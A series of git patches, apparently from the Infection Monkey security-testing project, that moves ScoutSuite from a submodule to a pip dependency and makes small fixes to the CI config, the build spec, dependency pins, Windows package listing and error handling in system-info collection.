Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 17 Mar 2021 10:20:17 +0200 Subject: [PATCH 434/466] Removed ScoutSuite from travis, since it's no longer a submodule --- .travis.yml | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/.travis.yml b/.travis.yml index 668d9cdc3..8ac8db204 100644 --- a/.travis.yml +++ b/.travis.yml @@ -27,7 +27,6 @@ install: - pip install flake8 pytest pytest-cov dlint isort # for next stages - pip install coverage # for code coverage - pip install -r monkey/infection_monkey/requirements.txt # for unit tests -- pip install -r monkey/common/cloud/scoutsuite/requirements.txt - pip install pipdeptree # Fail builds on possible conflicting dependencies. - pipdeptree --warn fail @@ -56,7 +55,7 @@ install: script: # Check Python code ## Check syntax errors and fail the build if any are found. -- flake8 ./monkey --exclude=monkey/common/cloud/scoutsuite --config=./ci_scripts/flake8_syntax_check.ini +- flake8 ./monkey --config=./ci_scripts/flake8_syntax_check.ini ## Warn about linter issues. ### --exit-zero forces Flake8 to use the exit status code 0 even if there are errors, which means this will NOT fail the build. From 9e27a93a3b0fd1b079257e90206dbd12a87663b0 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 17 Mar 2021 12:45:08 +0200 Subject: [PATCH 435/466] Minor spec file style improvement --- monkey/infection_monkey/monkey.spec | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 2031ee92a..f9b656611 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -18,9 +18,7 @@ def main(): hookspath=['./pyinstaller_hooks'], runtime_hooks=None, binaries=None, - datas=[ - ("../common/BUILD", "/common") - ], + datas=[("../common/BUILD", "/common")], excludes=None, win_no_prefer_redirects=None, win_private_assemblies=None, From aaf6a33f928e917c85a5f81d55428fe7be2e6918 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 16 Mar 2021 16:51:21 +0200 Subject: [PATCH 436/466] Small profiling decorator improvement --- monkey/monkey_island/cc/test_common/profiling/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/test_common/profiling/README.md b/monkey/monkey_island/cc/test_common/profiling/README.md index 1c1446b2f..d0cb92bfa 100644 --- a/monkey/monkey_island/cc/test_common/profiling/README.md +++ b/monkey/monkey_island/cc/test_common/profiling/README.md @@ -2,7 +2,7 @@ To profile specific methods on island a `@profile(sort_args=['cumulative'], print_args=[100])` decorator can be used. -Use it as any other decorator. After decorated method is used, a file will appear in a +Use it as a parameterised decorator(`@profile()`). After decorated method is used, a file will appear in a directory provided in `profiler_decorator.py`. Filename describes the path of the method that was profiled. For example if method `monkey_island/cc/resources/netmap.get` was profiled, then the results of this profiling will appear in From 2c1e89c7b35a58809998621e62ea1f1e62506485 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 17 Mar 2021 10:02:13 +0200 Subject: [PATCH 437/466] ScoutSuite performance upgrades. --- monkey/common/utils/code_utils.py | 10 ++++++++++ .../cc/services/telemetry/processing/scoutsuite.py | 7 ++++--- .../zero_trust/scoutsuite/data_parsing/rule_parser.py | 5 ++--- .../rule_path_building/abstract_rule_path_creator.py | 4 ++-- 4 files changed, 18 insertions(+), 8 deletions(-) diff --git a/monkey/common/utils/code_utils.py b/monkey/common/utils/code_utils.py index 214e6d108..d9ad573b1 100644 --- a/monkey/common/utils/code_utils.py +++ b/monkey/common/utils/code_utils.py @@ -1,5 +1,8 @@ # abstract, static method decorator # noinspection PyPep8Naming +from typing import List + + class abstractstatic(staticmethod): __slots__ = () @@ -8,3 +11,10 @@ class abstractstatic(staticmethod): function.__isabstractmethod__ = True __isabstractmethod__ = True + + +def get_value_from_dict(dict_data: dict, path: List[str]): + current_data = dict_data + for key in path: + current_data = current_data[key] + return current_data diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py index 8ee4737e8..9160861ea 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py @@ -3,6 +3,7 @@ import json from monkey_island.cc.database import mongo from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteRawDataJson from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_findings_list import SCOUTSUITE_FINDINGS +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService @@ -13,14 +14,14 @@ def process_scoutsuite_telemetry(telemetry_json): telemetry_json['data'] = json.dumps(telemetry_json['data']) ScoutSuiteRawDataJson.add_scoutsuite_data(telemetry_json['data']) scoutsuite_data = json.loads(telemetry_json['data'])['data'] - create_scoutsuite_findings(scoutsuite_data) + create_scoutsuite_findings(scoutsuite_data[SERVICES]) update_data(telemetry_json) -def create_scoutsuite_findings(scoutsuite_data): +def create_scoutsuite_findings(cloud_services: dict): for finding in SCOUTSUITE_FINDINGS: for rule in finding.rules: - rule_data = RuleParser.get_rule_data(scoutsuite_data, rule) + rule_data = RuleParser.get_rule_data(cloud_services, rule) rule = ScoutSuiteRuleService.get_rule_from_rule_data(rule_data) ScoutSuiteZTFindingService.process_rule(finding, rule) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py index e07431541..935f1c989 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py @@ -1,7 +1,6 @@ from enum import Enum -import dpath.util - +from common.utils.code_utils import get_value_from_dict from common.utils.exceptions import RulePathCreatorNotFound from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import \ RULE_PATH_CREATORS_LIST @@ -23,7 +22,7 @@ class RuleParser: @staticmethod def get_rule_data(scoutsuite_data: dict, rule_name: Enum) -> dict: rule_path = RuleParser._get_rule_path(rule_name) - return dpath.util.get(scoutsuite_data, rule_path) + return get_value_from_dict(scoutsuite_data, rule_path) @staticmethod def _get_rule_path(rule_name: Enum): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py index b4767124b..ee7f7c38b 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py @@ -3,7 +3,7 @@ from enum import Enum from typing import List, Type from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import FINDINGS, SERVICES, SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import FINDINGS, SERVICE_TYPES class AbstractRulePathCreator(ABC): @@ -21,4 +21,4 @@ class AbstractRulePathCreator(ABC): @classmethod def build_rule_path(cls, rule_name: Enum) -> List[str]: assert(rule_name in cls.supported_rules) - return [SERVICES, cls.service_type.value, FINDINGS, rule_name.value] + return [cls.service_type.value, FINDINGS, rule_name.value] From fd058c7ff0f10ca154e17d919262e1b859c4c059 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 16 Mar 2021 09:11:45 +0200 Subject: [PATCH 438/466] Refactored ScoutSuite into a separate package rather than submodule --- .gitmodules | 3 --- monkey/common/cloud/scoutsuite | 1 - monkey/infection_monkey/monkey.spec | 27 ++++++++++++------- monkey/infection_monkey/requirements.txt | 1 + .../scoutsuite_collector/__init__.py | 15 ----------- .../scoutsuite_collector/scoutsuite_api.py | 5 ---- .../scoutsuite_collector.py | 13 ++++----- .../telemetry/scoutsuite_telem.py | 4 +-- .../zero_trust/scoutsuite/__init__.py | 13 --------- .../scoutsuite/scoutsuite_auth_service.py | 2 +- monkey/monkey_island/requirements.txt | 1 + 11 files changed, 29 insertions(+), 56 deletions(-) delete mode 160000 monkey/common/cloud/scoutsuite delete mode 100644 monkey/infection_monkey/system_info/collectors/scoutsuite_collector/__init__.py delete mode 100644 monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/__init__.py diff --git a/.gitmodules b/.gitmodules index b898f160a..2fb33dd37 100644 --- a/.gitmodules +++ b/.gitmodules @@ -4,6 +4,3 @@ [submodule "docs/themes/learn"] path = docs/themes/learn url = https://github.com/guardicode/hugo-theme-learn.git -[submodule "monkey/infection_monkey/system_info/collectors/scoutsuite"] - path = monkey/common/cloud/scoutsuite - url = https://github.com/guardicode/ScoutSuite.git diff --git a/monkey/common/cloud/scoutsuite b/monkey/common/cloud/scoutsuite deleted file mode 160000 index 9de1e78ba..000000000 --- a/monkey/common/cloud/scoutsuite +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 9de1e78ba475f925c66c5b645564ec9eb08e2309 diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 51bd4bb83..2031ee92a 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -1,15 +1,17 @@ # -*- mode: python -*- import os -import sys import platform - +import sys __author__ = 'itay.mizeretz' +from PyInstaller.utils.hooks import collect_data_files + block_cipher = None def main(): + print(collect_data_files('policyuniverse')) a = Analysis(['main.py'], pathex=['..'], hiddenimports=get_hidden_imports(), @@ -17,7 +19,7 @@ def main(): runtime_hooks=None, binaries=None, datas=[ - ("../common/BUILD", "/common") + ("../common/BUILD", "/common") ], excludes=None, win_no_prefer_redirects=None, @@ -48,7 +50,7 @@ def is_windows(): def is_32_bit(): - return sys.maxsize <= 2**32 + return sys.maxsize <= 2 ** 32 def get_bin_folder(): @@ -79,7 +81,12 @@ def get_linux_only_binaries(): def get_hidden_imports(): - return ['_cffi_backend', 'queue', '_mssql'] if is_windows() else ['_cffi_backend','_mssql'] + imports = ['ScoutSuite'] + if is_windows(): + imports.extend(['_cffi_backend', 'queue', '_mssql']) + else: + imports.extend(['_cffi_backend', '_mssql']) + return imports def get_sc_binaries(): @@ -94,15 +101,15 @@ def get_traceroute_binaries(): def get_monkey_filename(): name = 'monkey-' if is_windows(): - name = name+"windows-" + name = name + "windows-" else: - name = name+"linux-" + name = name + "linux-" if is_32_bit(): - name = name+"32" + name = name + "32" else: - name = name+"64" + name = name + "64" if is_windows(): - name = name+".exe" + name = name + ".exe" return name diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index dc0ab227e..e478095ac 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -16,3 +16,4 @@ pypykatz==0.3.12 pysmb==1.2.5 requests>=2.24 wmi==1.5.1 ; sys_platform == 'win32' +git+https://github.com/guardicode/ScoutSuite diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/__init__.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/__init__.py deleted file mode 100644 index 97e736b4b..000000000 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/__init__.py +++ /dev/null @@ -1,15 +0,0 @@ -import pkgutil -import sys -from pathlib import PurePath - -_scoutsuite_api_package = pkgutil.get_loader('common.cloud.scoutsuite.ScoutSuite.__main__') - - -def _add_scoutsuite_to_python_path(): - scoutsuite_path = PurePath(_scoutsuite_api_package.path).parent.parent.__str__() - sys.path.append(scoutsuite_path) - - -# Add ScoutSuite to python path because this way -# we don't need to change any imports in ScoutSuite code -_add_scoutsuite_to_python_path() diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py deleted file mode 100644 index 88ef32293..000000000 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py +++ /dev/null @@ -1,5 +0,0 @@ -import common.cloud.scoutsuite.ScoutSuite.api_run as scoutsuite_api - - -def run(*args, **kwargs): - return scoutsuite_api.run(*args, **kwargs) diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py index c637e3593..79aabea56 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py @@ -1,8 +1,9 @@ import logging from typing import Union -import infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_api as scoutsuite_api -from common.cloud.scoutsuite.ScoutSuite.providers.base.provider import BaseProvider +import ScoutSuite.api_run +from ScoutSuite.providers.base.provider import BaseProvider + from common.cloud.scoutsuite_consts import CloudProviders from common.utils.exceptions import ScoutSuiteScanError from infection_monkey.config import WormConfiguration @@ -22,10 +23,10 @@ def scan_cloud_security(cloud_type: CloudProviders): def run_scoutsuite(cloud_type: str) -> Union[BaseProvider, dict]: - return scoutsuite_api.run(provider=cloud_type, - aws_access_key_id=WormConfiguration.aws_access_key_id, - aws_secret_access_key=WormConfiguration.aws_secret_access_key, - aws_session_token=WormConfiguration.aws_session_token) + return ScoutSuite.api_run.run(provider=cloud_type, + aws_access_key_id=WormConfiguration.aws_access_key_id, + aws_secret_access_key=WormConfiguration.aws_secret_access_key, + aws_session_token=WormConfiguration.aws_session_token) def send_scoutsuite_run_results(run_results: BaseProvider): diff --git a/monkey/infection_monkey/telemetry/scoutsuite_telem.py b/monkey/infection_monkey/telemetry/scoutsuite_telem.py index 16cf47bdd..ba112f8b9 100644 --- a/monkey/infection_monkey/telemetry/scoutsuite_telem.py +++ b/monkey/infection_monkey/telemetry/scoutsuite_telem.py @@ -1,5 +1,5 @@ -from common.cloud.scoutsuite.ScoutSuite.output.result_encoder import ScoutJsonEncoder -from common.cloud.scoutsuite.ScoutSuite.providers.base.provider import BaseProvider +from ScoutSuite.output.result_encoder import ScoutJsonEncoder +from ScoutSuite.providers.base.provider import BaseProvider from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/__init__.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/__init__.py deleted file mode 100644 index e8a36338b..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/__init__.py +++ /dev/null @@ -1,13 +0,0 @@ -import pkgutil -import sys -from pathlib import PurePath - -_scoutsuite_api_package = pkgutil.get_loader('common.cloud.scoutsuite.ScoutSuite.__main__') - - -def _add_scoutsuite_to_python_path(): - scoutsuite_path = PurePath(_scoutsuite_api_package.path).parent.parent.__str__() - sys.path.append(scoutsuite_path) - - -_add_scoutsuite_to_python_path() diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index b5d405234..701598168 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -14,7 +14,7 @@ def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]: if is_aws_keys_setup(): return True, "AWS keys already setup." - import common.cloud.scoutsuite.ScoutSuite.providers.aws.authentication_strategy as auth_strategy + import ScoutSuite.providers.aws.authentication_strategy as auth_strategy try: profile = auth_strategy.AWSAuthenticationStrategy().authenticate() return True, f" Profile \"{profile.session.profile_name}\" is already setup. " diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index 3cb3a4e42..ddbf2418a 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -26,5 +26,6 @@ tqdm>=4.47 virtualenv>=20.0.26 werkzeug>=1.0.1 wheel>=0.34.2 +git+https://github.com/guardicode/ScoutSuite pyjwt>=1.5.1 # not directly required, pinned by Snyk to avoid a vulnerability From 24564fd0f04c1cc861fa81f8ff810f20f3dd91b4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 17 Mar 2021 10:20:17 +0200 Subject: [PATCH 439/466] Removed ScoutSuite from travis, since it's no longer a submodule --- .travis.yml | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/.travis.yml b/.travis.yml index 668d9cdc3..8ac8db204 100644 --- a/.travis.yml +++ b/.travis.yml @@ -27,7 +27,6 @@ install: - pip install flake8 pytest pytest-cov dlint isort # for next stages - pip install coverage # for code coverage - pip install -r monkey/infection_monkey/requirements.txt # for unit tests -- pip install -r monkey/common/cloud/scoutsuite/requirements.txt - pip install pipdeptree # Fail builds on possible conflicting dependencies. - pipdeptree --warn fail @@ -56,7 +55,7 @@ install: script: # Check Python code ## Check syntax errors and fail the build if any are found. -- flake8 ./monkey --exclude=monkey/common/cloud/scoutsuite --config=./ci_scripts/flake8_syntax_check.ini +- flake8 ./monkey --config=./ci_scripts/flake8_syntax_check.ini ## Warn about linter issues. ### --exit-zero forces Flake8 to use the exit status code 0 even if there are errors, which means this will NOT fail the build. From 80776f2b1db81a9f2770119ddffecd7ec3975e19 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 17 Mar 2021 12:45:08 +0200 Subject: [PATCH 440/466] Minor spec file style improvement --- monkey/infection_monkey/monkey.spec | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 2031ee92a..f9b656611 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -18,9 +18,7 @@ def main(): hookspath=['./pyinstaller_hooks'], runtime_hooks=None, binaries=None, - datas=[ - ("../common/BUILD", "/common") - ], + datas=[("../common/BUILD", "/common")], excludes=None, win_no_prefer_redirects=None, win_private_assemblies=None, From 6a13fa90e60e2cdf944c776de454ca5bb1bad373 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 16 Mar 2021 16:51:21 +0200 Subject: [PATCH 441/466] Small profiling decorator improvement --- monkey/monkey_island/cc/test_common/profiling/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/test_common/profiling/README.md b/monkey/monkey_island/cc/test_common/profiling/README.md index 1c1446b2f..d0cb92bfa 100644 --- a/monkey/monkey_island/cc/test_common/profiling/README.md +++ b/monkey/monkey_island/cc/test_common/profiling/README.md @@ -2,7 +2,7 @@ To profile specific methods on island a `@profile(sort_args=['cumulative'], print_args=[100])` decorator can be used. -Use it as any other decorator. After decorated method is used, a file will appear in a +Use it as a parameterised decorator(`@profile()`). After decorated method is used, a file will appear in a directory provided in `profiler_decorator.py`. Filename describes the path of the method that was profiled. For example if method `monkey_island/cc/resources/netmap.get` was profiled, then the results of this profiling will appear in From 3ca7537a99e11b192d233ed5ad471c1c3d91c540 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 17 Mar 2021 10:02:13 +0200 Subject: [PATCH 442/466] ScoutSuite performance upgrades. --- monkey/common/utils/code_utils.py | 10 ++++++++++ .../cc/services/telemetry/processing/scoutsuite.py | 7 ++++--- .../zero_trust/scoutsuite/data_parsing/rule_parser.py | 5 ++--- .../rule_path_building/abstract_rule_path_creator.py | 4 ++-- 4 files changed, 18 insertions(+), 8 deletions(-) diff --git a/monkey/common/utils/code_utils.py b/monkey/common/utils/code_utils.py index 214e6d108..d9ad573b1 100644 --- a/monkey/common/utils/code_utils.py +++ b/monkey/common/utils/code_utils.py @@ -1,5 +1,8 @@ # abstract, static method decorator # noinspection PyPep8Naming +from typing import List + + class abstractstatic(staticmethod): __slots__ = () @@ -8,3 +11,10 @@ class abstractstatic(staticmethod): function.__isabstractmethod__ = True __isabstractmethod__ = True + + +def get_value_from_dict(dict_data: dict, path: List[str]): + current_data = dict_data + for key in path: + current_data = current_data[key] + return current_data diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py index 8ee4737e8..9160861ea 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py @@ -3,6 +3,7 @@ import json from monkey_island.cc.database import mongo from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteRawDataJson from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_findings_list import SCOUTSUITE_FINDINGS +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService @@ -13,14 +14,14 @@ def process_scoutsuite_telemetry(telemetry_json): telemetry_json['data'] = json.dumps(telemetry_json['data']) ScoutSuiteRawDataJson.add_scoutsuite_data(telemetry_json['data']) scoutsuite_data = json.loads(telemetry_json['data'])['data'] - create_scoutsuite_findings(scoutsuite_data) + create_scoutsuite_findings(scoutsuite_data[SERVICES]) update_data(telemetry_json) -def create_scoutsuite_findings(scoutsuite_data): +def create_scoutsuite_findings(cloud_services: dict): for finding in SCOUTSUITE_FINDINGS: for rule in finding.rules: - rule_data = RuleParser.get_rule_data(scoutsuite_data, rule) + rule_data = RuleParser.get_rule_data(cloud_services, rule) rule = ScoutSuiteRuleService.get_rule_from_rule_data(rule_data) ScoutSuiteZTFindingService.process_rule(finding, rule) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py index e07431541..935f1c989 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py @@ -1,7 +1,6 @@ from enum import Enum -import dpath.util - +from common.utils.code_utils import get_value_from_dict from common.utils.exceptions import RulePathCreatorNotFound from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import \ RULE_PATH_CREATORS_LIST @@ -23,7 +22,7 @@ class RuleParser: @staticmethod def get_rule_data(scoutsuite_data: dict, rule_name: Enum) -> dict: rule_path = RuleParser._get_rule_path(rule_name) - return dpath.util.get(scoutsuite_data, rule_path) + return get_value_from_dict(scoutsuite_data, rule_path) @staticmethod def _get_rule_path(rule_name: Enum): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py index b4767124b..ee7f7c38b 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py @@ -3,7 +3,7 @@ from enum import Enum from typing import List, Type from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import FINDINGS, SERVICES, SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import FINDINGS, SERVICE_TYPES class AbstractRulePathCreator(ABC): @@ -21,4 +21,4 @@ class AbstractRulePathCreator(ABC): @classmethod def build_rule_path(cls, rule_name: Enum) -> List[str]: assert(rule_name in cls.supported_rules) - return [SERVICES, cls.service_type.value, FINDINGS, rule_name.value] + return [cls.service_type.value, FINDINGS, rule_name.value] From 4cd105abe4f02bc15dbd4bdde419232d0f67aff1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 18 Mar 2021 09:31:45 +0200 Subject: [PATCH 443/466] Fixed ScoutSuite unit test --- .../zero_trust/scoutsuite/data_parsing/test_rule_parser.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py index 5a7572eb0..afe14c54c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py @@ -4,6 +4,7 @@ import pytest from common.utils.exceptions import RulePathCreatorNotFound from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser from monkey_island.cc.services.zero_trust.test_common.raw_scoutsute_data import RAW_SCOUTSUITE_DATA @@ -28,9 +29,9 @@ EXPECTED_RESULT = {'description': 'Security Group Opens All Ports to All', def test_get_rule_data(): # Test proper parsing of the raw data to rule - results = RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA, ALL_PORTS_OPEN) + results = RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA[SERVICES], ALL_PORTS_OPEN) assert results == EXPECTED_RESULT with pytest.raises(RulePathCreatorNotFound): - RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA, ExampleRules.NON_EXSISTENT_RULE) + RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA[SERVICES], ExampleRules.NON_EXSISTENT_RULE) pass From ed589bd46aff7ec869156bd952f475d5f2f86f71 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 18 Mar 2021 09:41:29 +0200 Subject: [PATCH 444/466] Specified pyjwt requirement to be 1.7 --- monkey/monkey_island/requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index ddbf2418a..b5be47a88 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -28,4 +28,4 @@ werkzeug>=1.0.1 wheel>=0.34.2 git+https://github.com/guardicode/ScoutSuite -pyjwt>=1.5.1 # not directly required, pinned by Snyk to avoid a vulnerability +pyjwt==1.7 # not directly required, pinned by Snyk to avoid a vulnerability From a83c97519cbe8d31c88613ea2a5124c4fdc551a5 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 18 Mar 2021 13:14:26 +0530 Subject: [PATCH 445/466] CR changes --- .../system_info/windows_info_collector.py | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 81b0c8125..8a53898c7 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -48,17 +48,11 @@ class WindowsInfoCollector(InfoCollector): def get_installed_packages(self): LOG.info('Getting installed packages') - packages = subprocess.Popen("dism /online /get-packages", shell=True, stdout=subprocess.PIPE).stdout.read() - try: - self.info["installed_packages"] = packages.decode('utf-8') - except UnicodeDecodeError: - self.info["installed_packages"] = packages.decode('raw-unicode-escape') + packages = subprocess.check_output("dism /online /get-packages", shell=True) + self.info["installed_packages"] = packages.decode('utf-8', errors='ignore') - features = subprocess.Popen("dism /online /get-features", shell=True, stdout=subprocess.PIPE).stdout.read() - try: - self.info["installed_features"] = features.decode('utf-8') - except UnicodeDecodeError: - self.info["installed_features"] = features.decode('raw-unicode-escape') + features = subprocess.check_output("dism /online /get-features", shell=True) + self.info["installed_features"] = features.decode('utf-8', errors='ignore') LOG.debug('Got installed packages') From 91577c6464f8b071330190afc13c51bb4229ea27 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 18 Mar 2021 13:30:18 +0530 Subject: [PATCH 446/466] Add try/except to system info collection so agent doesn't crash if exception is encountered --- monkey/infection_monkey/monkey.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index f5af73d43..3a5c5619f 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -252,9 +252,12 @@ class InfectionMonkey(object): def collect_system_info_if_configured(self): LOG.debug("Calling for system info collection") - system_info_collector = SystemInfoCollector() - system_info = system_info_collector.get_info() - SystemInfoTelem(system_info).send() + try: + system_info_collector = SystemInfoCollector() + system_info = system_info_collector.get_info() + SystemInfoTelem(system_info).send() + except Exception as e: + LOG.exception(f"Exception encountered during system info collection: {str(e)}") def shutdown_by_not_alive_config(self): if not WormConfiguration.alive: From 739afa4fbedc50e5c4b3759ebfa044ff94e7c609 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 19 Mar 2021 16:52:01 +0200 Subject: [PATCH 447/466] Fixed urlib dependency issue --- monkey/infection_monkey/requirements.txt | 